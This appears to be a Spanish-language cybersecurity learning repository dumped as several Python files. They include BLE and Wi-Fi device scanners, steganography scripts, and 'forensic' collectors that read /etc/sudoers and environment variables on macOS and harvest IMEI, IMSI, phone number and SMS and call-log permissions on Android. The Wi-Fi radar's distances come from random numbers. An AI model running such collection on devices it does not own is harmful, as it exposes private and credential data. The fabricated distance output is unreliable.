75 | 76 | 77 | 78 | 79 | 80 | {% endblock%} 81 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/12_Bleak_Escaner_GPS.py: -------------------------------------------------------------------------------- 1 | # Con este codigo se realiza un IDS detector de GPS cercanos 2 | # Con la libreria de python Scapy 3 | # pip install pybluez bleak 4 | import asyncio 5 | from bleak import BleakScanner 6 | import math 7 | import time 8 | import matplotlib.pyplot as plt 9 | import random 10 | from datetime import datetime 11 | import os 12 | 13 | def calcular_distancia(rssi, tx_power=-59): 14 | if rssi == 0: 15 | return -1.0 16 | ratio = rssi / tx_power 17 | if ratio < 1.0: 18 | return pow(ratio, 10) 19 | else: 20 | return 0.89976 * pow(ratio, 7.7095) + 0.111 21 | 22 | def radar_visual(dispositivos_info): 23 | plt.figure(figsize=(7, 7)) 24 | ax = plt.subplot(111, polar=True) 25 | ax.set_ylim(0, 10) 26 | ax.set_theta_zero_location('N') 27 | ax.set_theta_direction(-1) 28 | 29 | for info in dispositivos_info: 30 | angulo = info['angulo'] 31 | distancia = info['distancia'] 32 | etiqueta = f"{info['nombre'] or 'Desconocido'}\n{info['direccion']}\n{distancia:.1f}m" 33 | ax.plot(angulo, distancia, 'go') # punto verde 34 | ax.text(angulo, distancia + 0.4, etiqueta, fontsize=8, ha='center') 35 | 36 | ax.set_title("📡 Radar de Dispositivos GPS (BLE cercanos)", fontsize=13) 37 | plt.tight_layout() 38 | 39 | # Guardar imagen con fecha y hora 40 | now = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") 41 | filename = f"gps_radar_{now}.png" 42 | output_path = os.path.join(os.getcwd(), filename) 43 | plt.savefig(output_path) 44 | print(f"✅ Imagen guardada como: {filename}") 45 | plt.close() 46 | 47 | async def escanear_y_radar(): 48 | dispositivos_vistos = {} 49 | 50 | try: 51 | while True: 52 | print(f"\n[{time.strftime('%H:%M:%S')}] Escaneando dispositivos GPS...") 53 | dispositivos = await BleakScanner.discover(timeout=5.0) 54 | dispositivos_info = [] 55 | 56 | for d in dispositivos: 57 | if d.rssi is None: 58 | continue 59 | distancia = calcular_distancia(d.rssi) 60 | if d.address not in dispositivos_vistos: 61 | dispositivos_vistos[d.address] = random.uniform(0, 2 * math.pi) 62 | 63 | dispositivos_info.append({ 64 | 'nombre': d.name, 65 | 'direccion': d.address, 66 | 'rssi': d.rssi, 67 | 'distancia': distancia, 68 | 'angulo': dispositivos_vistos[d.address] 69 | }) 70 | 71 | if dispositivos_info: 72 | radar_visual(dispositivos_info) 73 | else: 74 | print("⚠️ No se detectaron dispositivos BLE cercanos.") 75 | 76 | await asyncio.sleep(10) # escanea cada 10 segundos 77 | 78 | except KeyboardInterrupt: 79 | print("🛑 Escaneo detenido por el usuario.") 80 | 81 | if __name__ == "__main__": 82 | asyncio.run(escanear_y_radar()) 83 | 84 | 85 | 86 | 87 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/17_Radar_WIFI_Mejorado_Automatico.py: -------------------------------------------------------------------------------- 1 | # Con este codigo se crea un software que permite crear un radar 2 | # Con los dispositivos finales que estan conectados al wifi 3 | # Con la libreria de python 4 | # pip install scapy 5 | 6 | import time 7 | import socket 8 | import random 9 | import math 10 | import numpy as np 11 | import matplotlib.pyplot as plt 12 | from scapy.all import ARP, Ether, srp 13 | 14 | # Se crean las variables relacionadas a la red 15 | NETWORK = "192.168.1.0/24" # Ajusta a tu red 16 | UPDATE_INTERVAL = 5 # segundos 17 | MAX_DISTANCE = 30 # metros 18 | 19 | # El siguiente codigo ayuda a crear el escaneo 20 | def scan_network(network): 21 | arp = ARP(pdst=network) 22 | ether = Ether(dst="ff:ff:ff:ff:ff:ff") 23 | packet = ether / arp 24 | 25 | result = srp(packet, timeout=2, verbose=0)[0] 26 | devices = [] 27 | 28 | for _, received in result: 29 | devices.append({ 30 | "ip": received.psrc, 31 | "mac": received.hwsrc 32 | }) 33 | 34 | return devices 35 | 36 | # Esta funcion ayuda a tener los datos de los dispositivos cerca 37 | def get_device_name(ip): 38 | try: 39 | return socket.gethostbyaddr(ip)[0] 40 | except: 41 | return "Desconocido" 42 | 43 | # Se calcula el rssi 44 | def get_rssi(): 45 | # Valores típicos WiFi: -80 (débil) a -30 (fuerte) 46 | return random.randint(-80, -30) 47 | 48 | # Con el rssi se calcula la distancia de los dispositivos cercanos 49 | def estimate_distance(rssi, tx_power=-40, n=2): 50 | distance = 10 ** ((tx_power - rssi) / (10 * n)) 51 | return round(min(distance, MAX_DISTANCE), 2) 52 | 53 | # Se crea la grafica del radar 54 | def draw_radar(devices): 55 | plt.clf() 56 | ax = plt.subplot(111, polar=True) 57 | 58 | ax.set_rmax(MAX_DISTANCE) 59 | ax.set_theta_zero_location("N") 60 | ax.set_theta_direction(-1) 61 | 62 | for device in devices: 63 | angle = random.uniform(0, 2 * math.pi) 64 | distance = device["distance"] 65 | 66 | ax.scatter(angle, distance, s=50) 67 | ax.text( 68 | angle, 69 | distance, 70 | f"{device['name']}\n{device['ip']}\n{distance} m", 71 | fontsize=7 72 | ) 73 | 74 | ax.set_title("RADAR WIFI - Dispositivos detectados", fontsize=14) 75 | plt.pause(0.1) 76 | 77 | # El siguiente codigo es el Main donde se ejecuta e codigo 78 | def main(): 79 | plt.ion() 80 | plt.figure(figsize=(6, 6)) 81 | 82 | while True: 83 | devices = scan_network(NETWORK) 84 | radar_devices = [] 85 | 86 | for d in devices: 87 | rssi = get_rssi() 88 | radar_devices.append({ 89 | "ip": d["ip"], 90 | "mac": d["mac"], 91 | "name": get_device_name(d["ip"]), 92 | "distance": estimate_distance(rssi) 93 | }) 94 | 95 | draw_radar(radar_devices) 96 | time.sleep(UPDATE_INTERVAL) 97 | 98 | if __name__ == "__main__": 99 | main() 100 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/18_Listado_Dispositivos_WIFI.py: -------------------------------------------------------------------------------- 1 | # Con este codigo se crea un software que muestra 2 | # Listado de los dispositivos finales conectados al wifi 3 | # Con la libreria de python 4 | # pip install scapy 5 | 6 | import time 7 | import socket 8 | import requests 9 | from scapy.all import ARP, Ether, srp 10 | from datetime import datetime 11 | 12 | # Variables de red 13 | NETWORK = "192.168.1.0/24" # La red donde estas 14 | SCAN_INTERVAL = 10 # segundos entre escaneos 15 | known_devices = {} 16 | 17 | # Funcion de recolectar informacion 18 | 19 | def scan_network(): 20 | devices = {} 21 | packet = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=NETWORK) 22 | result = srp(packet, timeout=3, verbose=False)[0] 23 | 24 | for _, received in result: 25 | devices[received.hwsrc] = received.psrc 26 | 27 | return devices 28 | 29 | 30 | def get_mac_vendor(mac): 31 | try: 32 | r = requests.get( 33 | f"https://api.macvendors.com/{mac}", 34 | timeout=3 35 | ) 36 | if r.status_code == 200: 37 | return r.text.strip() 38 | except: 39 | pass 40 | return "Desconocido" 41 | 42 | 43 | def get_hostname(ip): 44 | try: 45 | return socket.gethostbyaddr(ip)[0] 46 | except: 47 | return "No disponible" 48 | 49 | 50 | # Codigo para mostrar la informacion 51 | 52 | def show_all_devices(devices): 53 | print("\n DISPOSITIVOS CONECTADOS A LA RED") 54 | print("=" * 80) 55 | 56 | for mac, ip in devices.items(): 57 | print(f"IP : {ip}") 58 | print(f"MAC : {mac}") 59 | print(f"Fabricante: {get_mac_vendor(mac)}") 60 | print(f"Hostname : {get_hostname(ip)}") 61 | print("-" * 80) 62 | 63 | # En el siguiente codigo se muestra como detectar un nuevo dispositvo conectado 64 | def alert_new_device(mac, ip): 65 | print("\n!! NUEVO DISPOSITIVO DETECTADO !!") 66 | print(f"Fecha/Hora: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") 67 | print(f"IP : {ip}") 68 | print(f"MAC : {mac}") 69 | print(f"Fabricante: {get_mac_vendor(mac)}") 70 | print(f"Hostname : {get_hostname(ip)}") 71 | print("Estado : NUEVA CONEXIÓN") 72 | print("=" * 80) 73 | 74 | 75 | # Codigo el monitoreo de la red 76 | 77 | def monitor_network(): 78 | global known_devices 79 | 80 | print("Monitor de red Wi‑Fi iniciado...") 81 | print(f"Rango de red: {NETWORK}") 82 | print(f"Intervalo de escaneo: {SCAN_INTERVAL} segundos\n") 83 | 84 | while True: 85 | current_devices = scan_network() 86 | 87 | # Mostrar listado completo 88 | show_all_devices(current_devices) 89 | 90 | # Detectar nuevos dispositivos 91 | for mac, ip in current_devices.items(): 92 | if mac not in known_devices: 93 | alert_new_device(mac, ip) 94 | 95 | known_devices = current_devices 96 | time.sleep(SCAN_INTERVAL) 97 | 98 | 99 | # Main que ejecuta el monitoreo 100 | 101 | if __name__ == "__main__": 102 | monitor_network() 103 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/Esteganografia/03_Piexif_Fernet_Esteganografia_desencriptacion.py: -------------------------------------------------------------------------------- 1 | # En el siguiente codigo de programacion, se muestra una forma sencilla 2 | # De extraer un archivo texto en una imagen png 3 | # Pirmero descargamos y usamos las librerias 4 | # Primero se instala zipfile con el siguiente comando 5 | # "pip install Fernet" 6 | 7 | from PIL import Image 8 | import piexif 9 | from cryptography.fernet import Fernet 10 | 11 | from cryptography.fernet import Fernet 12 | from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC 13 | from cryptography.hazmat.primitives import hashes 14 | from cryptography.hazmat.backends import default_backend 15 | import base64 16 | import os 17 | 18 | # Se extraen los metadatos de la imagen 19 | def extraer_metadato(ruta_imagen): 20 | try: 21 | imagen = Image.open(ruta_imagen) 22 | exif_dict = piexif.load(imagen.info.get('exif', b'')) 23 | 24 | # Extraer UserComment (ID 37510) 25 | user_comment = exif_dict["Exif"].get(piexif.ExifIFD.UserComment, None) 26 | if user_comment: 27 | # Eliminar encabezado '\x00\x00' y decodificar 28 | texto = user_comment[2:].decode('utf-8', errors='ignore') 29 | return texto 30 | else: 31 | return None 32 | except Exception as e: 33 | print(f"❌ Error al leer metadato: {e}") 34 | return None 35 | 36 | # Se genera la llave fernet con basandose en un texto que le ingresan 37 | def generar_clave_fernet_desde_texto(texto: str, salt_constante: bytes) -> bytes: 38 | kdf = PBKDF2HMAC( 39 | algorithm=hashes.SHA256(), 40 | length=32, 41 | salt=salt_constante, 42 | iterations=100_000, 43 | backend=default_backend() 44 | ) 45 | return base64.urlsafe_b64encode(kdf.derive(texto.encode())) 46 | 47 | 48 | # En el main se ejecutan las funcion 49 | def main(): 50 | print("!! Empieza a leer los metadatos de la imagen !!") 51 | 52 | # Se solicita la ubicacion de la imagen 53 | ruta_imagen = input("Ruta de la imagen (ej. editada_foto.jpg): ").strip() 54 | if not os.path.exists(ruta_imagen): 55 | print("(-) No se encontro la imagen") 56 | return 57 | 58 | if not ruta_imagen.lower().endswith((".jpg", ".jpeg")): 59 | print("(-) Solo se usan imagenes jpg") 60 | return 61 | 62 | # Se extraen los datos de la imagen 63 | texto_encriptado = extraer_metadato(ruta_imagen) 64 | print(texto_encriptado) 65 | if texto_encriptado: 66 | # Desencriptar 67 | # Generar clave 68 | llave = input('Por favor ingresar la LLAVE de encriptacion : ') 69 | # Salt constante (¡debe ser exactamente igual siempre!) 70 | salt_fijo = b'salt-fijo-16bytes' # 16 bytes exactos 71 | # Generar clave Fernet 72 | clave = generar_clave_fernet_desde_texto(llave, salt_fijo) 73 | 74 | fernet = Fernet(clave) 75 | texto_desencriptado = fernet.decrypt(texto_encriptado).decode() 76 | print("(+) Texto desencriptado:", texto_desencriptado) 77 | else: 78 | print("(-) No se encontró ningún dato en el metadato.") 79 | 80 | if __name__ == "__main__": 81 | main() 82 | 83 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/11_Bleak_Escaner_Bluetooth.py: -------------------------------------------------------------------------------- 1 | # Con este codigo se realiza un Escaner de bluetooth con la libreria bleak 2 | # Con la libreria de python Scapy 3 | # pip install bleak 4 | import asyncio 5 | from bleak import BleakScanner 6 | import math 7 | import time 8 | import matplotlib.pyplot as plt 9 | import random 10 | from datetime import datetime 11 | import os 12 | 13 | # ----------- Calcular distancia basada en RSSI ----------- 14 | def calcular_distancia(rssi, tx_power=-59): 15 | if rssi == 0: 16 | return -1.0 17 | ratio = rssi / tx_power 18 | if ratio < 1.0: 19 | return ratio ** 10 20 | else: 21 | return 0.89976 * (ratio ** 7.7095) + 0.111 22 | 23 | # ----------- Crear gráfico tipo radar ----------- 24 | def radar_visual(dispositivos_info): 25 | plt.figure(figsize=(7, 7)) 26 | ax = plt.subplot(111, polar=True) 27 | ax.set_ylim(0, 10) 28 | ax.set_theta_zero_location('N') 29 | ax.set_theta_direction(-1) 30 | 31 | for info in dispositivos_info: 32 | angulo = info['angulo'] 33 | distancia = info['distancia'] 34 | etiqueta = f"{info['nombre'] or 'Desconocido'}\n{info['direccion']}\n{distancia:.1f}m" 35 | ax.plot(angulo, distancia, 'ro') # punto rojo 36 | ax.text(angulo, distancia + 0.3, etiqueta, fontsize=7, ha='center') 37 | 38 | ax.set_title("Radar Bluetooth - Nombre, MAC y distancia", fontsize=12) 39 | plt.tight_layout() 40 | 41 | # ----------- Guardar imagen con fecha y hora ----------- 42 | now = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") 43 | filename = f"Radar_Bluetooth_{now}.png" 44 | output_path = os.path.join(os.getcwd(), filename) 45 | plt.savefig(output_path) 46 | print(f"📸 Radar guardado como: {filename}") 47 | plt.close() 48 | 49 | # ----------- Escaneo BLE y control del radar ----------- 50 | async def escanear_y_mostrar_radar(): 51 | dispositivos_vistos = {} # MAC -> ángulo 52 | 53 | try: 54 | while True: 55 | print(f"\n[{time.strftime('%H:%M:%S')}] Escaneando Bluetooth...") 56 | dispositivos = await BleakScanner.discover(timeout=5.0) 57 | dispositivos_info = [] 58 | 59 | for d in dispositivos: 60 | if d.rssi is None: 61 | continue 62 | distancia = calcular_distancia(d.rssi) 63 | 64 | if d.address not in dispositivos_vistos: 65 | dispositivos_vistos[d.address] = random.uniform(0, 2 * math.pi) 66 | 67 | dispositivos_info.append({ 68 | 'nombre': d.name, 69 | 'direccion': d.address, 70 | 'rssi': d.rssi, 71 | 'distancia': distancia, 72 | 'angulo': dispositivos_vistos[d.address] 73 | }) 74 | 75 | if dispositivos_info: 76 | radar_visual(dispositivos_info) 77 | else: 78 | print("⚠️ No se detectaron dispositivos BLE.") 79 | 80 | await asyncio.sleep(10) # espera antes del siguiente escaneo 81 | 82 | except KeyboardInterrupt: 83 | print("🚫 Escaneo detenido por el usuario.") 84 | 85 | # ----------- MAIN ----------- 86 | if __name__ == "__main__": 87 | asyncio.run(escanear_y_mostrar_radar()) -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Forense/06_Extraer_Info_Android.py: -------------------------------------------------------------------------------- 1 | # Este es un codigo para extraer la mayor cantidad de informacion de 2 | # Un sistema operativo Android, como requisito hay que descargar 3 | # El software y luego instalar las librerias de python 4 | # Por ultimo dar los permisos adminin al archivo o terminal 5 | # wsl --install 6 | # pip install --user buildozer requests 7 | # buildozer init 8 | from jnius import autoclass, cast 9 | from android.permissions import request_permissions, Permission 10 | from android.storage import primary_external_storage_path 11 | import os 12 | import time 13 | from datetime import datetime 14 | import requests 15 | 16 | Tiempo_Inicial = datetime.now().strftime('%Y-%m-%d_%H-%M-%S') 17 | respuesta = requests.get("https://ipinfo.io/json") 18 | datos = respuesta.json() 19 | 20 | print("(+) Ubicación aproximada:") 21 | print(f"IP: {datos.get('ip')}") 22 | print(f"Ciudad: {datos.get('city')}") 23 | print(f"Región: {datos.get('region')}") 24 | print(f"País: {datos.get('country')}") 25 | print(f"Ubicación (lat,long): {datos.get('loc')}") 26 | print(f"Organización: {datos.get('org')}") 27 | print(f"Zona Horaria: {datos.get('timezone')}") 28 | Ubicacion = datos.get('loc') 29 | 30 | def get_device_info(): 31 | PythonActivity = autoclass('org.kivy.android.PythonActivity') 32 | Context = cast('android.content.Context', PythonActivity.mActivity) 33 | Build = autoclass('android.os.Build') 34 | Locale = autoclass('java.util.Locale') 35 | DisplayMetrics = Context.getResources().getDisplayMetrics() 36 | TelephonyManager = cast('android.telephony.TelephonyManager', 37 | Context.getSystemService(Context.TELEPHONY_SERVICE)) 38 | 39 | try: 40 | operator = TelephonyManager.getNetworkOperatorName() 41 | phone_number = TelephonyManager.getLine1Number() 42 | imei = TelephonyManager.getDeviceId() 43 | imsi = TelephonyManager.getSubscriberId() 44 | sim_serial = TelephonyManager.getSimSerialNumber() 45 | except Exception as e: 46 | operator = phone_number = imei = imsi = sim_serial = f"Error: {e}" 47 | 48 | info = { 49 | "Marca": Build.MANUFACTURER, 50 | "Modelo": Build.MODEL, 51 | "Android Version": Build.VERSION.RELEASE, 52 | "Resolución": f"{DisplayMetrics.widthPixels}x{DisplayMetrics.heightPixels}", 53 | "Idioma del sistema": str(Locale.getDefault().getLanguage()), 54 | "Operador móvil": operator, 55 | "Número de teléfono": phone_number, 56 | "IMEI": imei, 57 | "IMSI": imsi, 58 | "ICCID (SIM serial)": sim_serial, 59 | "Número de serie": Build.getSerial() 60 | } 61 | return info 62 | 63 | def save_txt(data_dict, filename): 64 | path = primary_external_storage_path() 65 | full_path = os.path.join(path, 'Download', filename) 66 | with open(full_path, 'w') as f: 67 | for key, value in data_dict.items(): 68 | f.write(f"{key}: {value}\n") 69 | 70 | def main(): 71 | request_permissions([ 72 | Permission.READ_PHONE_STATE, 73 | Permission.READ_CONTACTS, 74 | Permission.READ_CALL_LOG, 75 | Permission.READ_SMS, 76 | Permission.WRITE_EXTERNAL_STORAGE, 77 | Permission.READ_EXTERNAL_STORAGE 78 | ]) 79 | info = get_device_info() 80 | save_txt(info, 'info_dispositivo.txt') 81 | 82 | if __name__ == '__main__': 83 | main() -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/Esteganografia/04_ZipFile_Fernet_Esteganografia_desencriptacion.py: -------------------------------------------------------------------------------- 1 | # En el siguiente codigo de programacion, se muestra una forma sencilla 2 | # De extraer un archivo texto en una imagen png 3 | # Pirmero descargamos y usamos las librerias 4 | # Primero se instala zipfile con el siguiente comando 5 | # "pip install zipfile" 6 | import zipfile 7 | import os 8 | 9 | 10 | from cryptography.fernet import Fernet 11 | 12 | from cryptography.fernet import Fernet 13 | from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC 14 | from cryptography.hazmat.primitives import hashes 15 | from cryptography.hazmat.backends import default_backend 16 | import base64 17 | import os 18 | 19 | # Con el siguiente codigo se extrae un comprimido de adentro de la imagen 20 | def extraer_zip_de_imagen(imagen_con_zip, salida_zip): 21 | with open(imagen_con_zip, 'rb') as archivo: 22 | datos = archivo.read() 23 | 24 | # Fin estándar de un PNG: IEND chunk + CRC 25 | fin_png = b'\x00\x00\x00\x00IEND\xaeB`\x82' 26 | index_fin = datos.find(fin_png) 27 | 28 | if index_fin == -1: 29 | print("La imagen que tiene la informacion, no se encontro") 30 | return 31 | 32 | # El .zip empieza justo después del final del PNG 33 | inicio_zip = index_fin + len(fin_png) 34 | 35 | with open(salida_zip, 'wb') as zip_file: 36 | zip_file.write(datos[inicio_zip:]) 37 | 38 | print(f"(+) El archivo zip extraido se llama: {salida_zip}") 39 | 40 | # En este codigo se muestra como extraer un texto de un archivo zip 41 | def extraer_txt_de_zip(archivo_zip, carpeta_destino='extraido'): 42 | os.makedirs(carpeta_destino, exist_ok=True) 43 | with zipfile.ZipFile(archivo_zip, 'r') as zipf: 44 | zipf.extractall(carpeta_destino) 45 | print(f"(+) El archivo de text extraido del zip es: {carpeta_destino}") 46 | 47 | 48 | def leer_texto_de_zip(nombre_zip, nombre_archivo_txt): 49 | with zipfile.ZipFile(nombre_zip, 'r') as zip_ref: 50 | with zip_ref.open(nombre_archivo_txt) as file: 51 | texto_encriptado = file.read().decode('utf-8') # Leer y decodificar a texto 52 | print(texto_encriptado) 53 | # Desencriptar 54 | # Generar clave 55 | # clave = b'yRsR02RWd4ePvfb6LFYI9etNYVu7vF0A1TVVjoi9-ws=' 56 | llave = input('Por favor ingresar el la LLAVE de encriptacion : ') 57 | # Salt constante (¡debe ser exactamente igual siempre!) 58 | salt_fijo = b'salt-fijo-16bytes' # 16 bytes exactos 59 | # Generar clave Fernet 60 | clave = generar_clave_fernet_desde_texto(llave, salt_fijo) 61 | fernet = Fernet(clave) 62 | texto_desencriptado = fernet.decrypt(texto_encriptado).decode() 63 | print("(+) Texto desencriptado:", texto_desencriptado) 64 | 65 | def generar_clave_fernet_desde_texto(texto: str, salt_constante: bytes) -> bytes: 66 | kdf = PBKDF2HMAC( 67 | algorithm=hashes.SHA256(), 68 | length=32, 69 | salt=salt_constante, 70 | iterations=100_000, 71 | backend=default_backend() 72 | ) 73 | return base64.urlsafe_b64encode(kdf.derive(texto.encode())) 74 | 75 | 76 | # EJECUTAR FUNCIONES EXTRACCIÓN 77 | extraer_zip_de_imagen('imagen_con_mensaje.png', 'extraido.zip') 78 | extraer_txt_de_zip('extraido.zip') 79 | leer_texto_de_zip('extraido.zip', 'Texto_a_guardar.txt') 80 | 81 | 82 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Forense/05_Extraer_Info_Mac.py: -------------------------------------------------------------------------------- 1 | # Este es un codigo para extraer la mayor cantidad de informacion de 2 | # Un sistema operativo MAC, como requisito hay que descargar 3 | # El software y luego instalar las librerias de python 4 | # Por ultimo dar los permisos adminin al archivo o terminal 5 | # pip install psutil wmi requests 6 | import os 7 | import subprocess 8 | import socket 9 | from datetime import datetime 10 | import time 11 | from datetime import datetime 12 | import requests 13 | 14 | respuesta = requests.get("https://ipinfo.io/json") 15 | datos = respuesta.json() 16 | 17 | print("(+) Ubicación aproximada:") 18 | print(f"IP: {datos.get('ip')}") 19 | print(f"Ciudad: {datos.get('city')}") 20 | print(f"Región: {datos.get('region')}") 21 | print(f"País: {datos.get('country')}") 22 | print(f"Ubicación (lat,long): {datos.get('loc')}") 23 | print(f"Organización: {datos.get('org')}") 24 | print(f"Zona Horaria: {datos.get('timezone')}") 25 | Ubicacion = datos.get('loc') 26 | 27 | # Crear nombre de carpeta dinámico 28 | hostname = socket.gethostname() 29 | timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") 30 | output_dir = f"Info_Mac_{hostname}_{timestamp}_{Ubicacion}" 31 | os.makedirs(output_dir, exist_ok=True) 32 | 33 | def save_output(name, command): 34 | path = os.path.join(output_dir, f"{name}.txt") 35 | try: 36 | print(f"[+] Ejecutando: {command}") 37 | result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True) 38 | with open(path, "w", encoding="utf-8") as f: 39 | f.write(result.stdout.strip()) 40 | except Exception as e: 41 | with open(path, "w") as f: 42 | f.write(f"Error ejecutando {command}:\n{e}") 43 | 44 | # Información del sistema 45 | save_output("sistema", "system_profiler SPSoftwareDataType") 46 | save_output("hardware", "system_profiler SPHardwareDataType") 47 | save_output("almacenamiento", "system_profiler SPStorageDataType") 48 | save_output("discos", "diskutil list") 49 | save_output("smart_status", "diskutil info disk0") 50 | 51 | # Red 52 | save_output("interfaces_red", "ifconfig") 53 | save_output("rutas", "netstat -rn") 54 | save_output("dns", "scutil --dns") 55 | save_output("puertos_abiertos", "lsof -nP -iTCP -sTCP:LISTEN") 56 | 57 | # CPU y RAM 58 | save_output("cpu", "sysctl -n machdep.cpu.brand_string") 59 | save_output("ram", "sysctl hw.memsize") 60 | 61 | # Usuarios y grupos 62 | save_output("usuarios", "dscl . list /Users") 63 | save_output("grupos", "dscl . list /Groups") 64 | save_output("usuarios_activos", "who") 65 | save_output("sudoers", "cat /etc/sudoers") 66 | 67 | # Procesos y servicios 68 | save_output("procesos", "ps aux") 69 | save_output("servicios", "launchctl list") 70 | 71 | # Aplicaciones 72 | save_output("aplicaciones", "ls /Applications") 73 | save_output("paquetes_brew", "brew list") 74 | save_output("paquetes_mas", "mas list") 75 | 76 | # Variables de entorno 77 | save_output("entorno", "printenv") 78 | 79 | # Dispositivos conectados 80 | save_output("usb", "system_profiler SPUSBDataType") 81 | save_output("thunderbolt", "system_profiler SPThunderboltDataType") 82 | save_output("bluetooth", "system_profiler SPBluetoothDataType") 83 | 84 | # Logs 85 | save_output("log_sistema", "log show --predicate 'eventMessage contains \"error\"' --last 1h") 86 | save_output("dmesg", "dmesg | tail -n 100") 87 | 88 | print(f"\n✅ Toda la información fue guardada en la carpeta: {output_dir}") -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/Esteganografia/04_ZipFile_Fernet_Esteganografia_encriptacion.py: -------------------------------------------------------------------------------- 1 | # En el siguiente codigo de programacion, se muestra una forma sencilla 2 | # De guardar un archivo texto en una imagen png 3 | # Pirmero descargamos y usamos las librerias 4 | # Primero se instala zipfile con el siguiente comando 5 | # "pip install zipfile" 6 | 7 | import zipfile 8 | from PIL import Image 9 | from cryptography.fernet import Fernet 10 | 11 | from cryptography.fernet import Fernet 12 | from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC 13 | from cryptography.hazmat.primitives import hashes 14 | from cryptography.hazmat.backends import default_backend 15 | import base64 16 | import os 17 | 18 | # La siguiente funcion sirve para crear un archivo texto con una informacion 19 | def crear_txt(nombre_txt): 20 | with open(nombre_txt, 'w') as f: 21 | # Encriptar 22 | # Generar clave 23 | # clave = b'yRsR02RWd4ePvfb6LFYI9etNYVu7vF0A1TVVjoi9-ws=' 24 | texto_plano = input('Por favor ingresar el texto que se va a guardar: ') 25 | llave = input('Por favor ingresar el la LLAVE de encriptacion : ') 26 | # Salt constante (¡debe ser exactamente igual siempre!) 27 | salt_fijo = b'salt-fijo-16bytes' # 16 bytes exactos 28 | # Generar clave Fernet 29 | clave = generar_clave_fernet_desde_texto(llave, salt_fijo) 30 | fernet = Fernet(clave) 31 | # Encriptar (devuelve bytes base64) 32 | texto_cifrado_bytes = fernet.encrypt(texto_plano.encode()) 33 | # Convertir bytes a string para guardar como texto plano en archivo 34 | texto_cifrado_str = texto_cifrado_bytes.decode() 35 | print("(+) Texto encriptado:", texto_cifrado_str) 36 | f.write(texto_cifrado_str) 37 | print(f" (+) El archivo .txt se creo sin problemas: {nombre_txt}") 38 | 39 | # Con esta funcion se crea una imagen con un nombre indicado 40 | def crear_imagen_png(nombre_imagen): 41 | img = Image.new('RGB', (200, 200), color='lightgreen') 42 | img.save(nombre_imagen) 43 | print(f"(+) Imagen PNG creada: {nombre_imagen}") 44 | 45 | # En este codigo se muestra como meter un archivo texto a un archivo comprimido zip 46 | def crear_zip(nombre_zip, archivo_txt): 47 | with zipfile.ZipFile(nombre_zip, 'w') as zipf: 48 | zipf.write(archivo_txt) 49 | print(f"(+) El ZIP creado sin problema: {nombre_zip}") 50 | 51 | # En este codigo se explica como ingresarle el texto a la imagen con un archivo zip 52 | def fusionar_imagen_y_zip(imagen_png, archivo_zip, salida_png_con_zip): 53 | with open(imagen_png, 'rb') as img_file: 54 | datos_img = img_file.read() 55 | 56 | with open(archivo_zip, 'rb') as zip_file: 57 | datos_zip = zip_file.read() 58 | 59 | with open(salida_png_con_zip, 'wb') as salida: 60 | salida.write(datos_img) 61 | salida.write(datos_zip) 62 | 63 | print(f"(+) La imagen quedo con el zip comprimido adentro: {salida_png_con_zip}") 64 | 65 | 66 | def generar_clave_fernet_desde_texto(texto: str, salt_constante: bytes) -> bytes: 67 | kdf = PBKDF2HMAC( 68 | algorithm=hashes.SHA256(), 69 | length=32, 70 | salt=salt_constante, 71 | iterations=100_000, 72 | backend=default_backend() 73 | ) 74 | return base64.urlsafe_b64encode(kdf.derive(texto.encode())) 75 | 76 | 77 | # EJECUTAR FLUJO COMPLETO 78 | crear_txt('Texto_a_guardar.txt') 79 | crear_imagen_png('imagen_base.png') 80 | crear_zip('archivo.zip', 'Texto_a_guardar.txt') 81 | fusionar_imagen_y_zip('imagen_base.png', 'archivo.zip', 'imagen_con_mensaje.png') 82 | 83 | 84 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/16_Radar_Bluetooth_Mejorado_Automatico.py: -------------------------------------------------------------------------------- 1 | # Con este codigo se crea un software que crea un radar 2 | # Se actualiza cada 5 segundos con la ubicacion de los bloutube 3 | # Informacion de bluetooth a dispositivos cercanos 4 | # pip install bleak 5 | import asyncio 6 | import threading 7 | import pygame 8 | import math 9 | from bleak import BleakScanner 10 | 11 | # Lo primero es configurar las variables del radas 12 | WIDTH, HEIGHT = 600, 600 13 | CENTER = WIDTH // 2, HEIGHT // 2 14 | 15 | pygame.init() 16 | screen = pygame.display.set_mode((WIDTH, HEIGHT)) 17 | pygame.display.set_caption("Se esta ejecutando el radar Bluetooth con Distancia") 18 | 19 | # En esta funcion se calcula la distancia con la variable RSSI 20 | def Distancia_Con_RSSI(rssi, tx_power=-59, n=2): 21 | return 10 ** ((tx_power - rssi) / (10 * n)) 22 | 23 | # La siguiente funcion scanea los bluetooth cercanos 24 | def Escaner_Bluetooth_Cercanos(Lista_Dispositivos_Cercanos): 25 | async def scan_loop(): 26 | while True: 27 | try: 28 | Dispositivos = await BleakScanner.discover() 29 | Lista_Dispositivos_Cercanos.clear() 30 | for d in Dispositivos: 31 | Lista_Dispositivos_Cercanos.append((d.name or "Desconocido", d.rssi)) 32 | except Exception as e: 33 | print("Error BLE:", e) 34 | await asyncio.sleep(5) # escanear cada 5 segundos 35 | 36 | asyncio.run(scan_loop()) 37 | 38 | # Lista compartida entre hilos 39 | Lista_Dispositivos_Cercanos = [] 40 | 41 | # Iniciar hilo BLE 42 | ble_thread = threading.Thread(target=Escaner_Bluetooth_Cercanos, args=(Lista_Dispositivos_Cercanos,), daemon=True) 43 | ble_thread.start() 44 | 45 | # 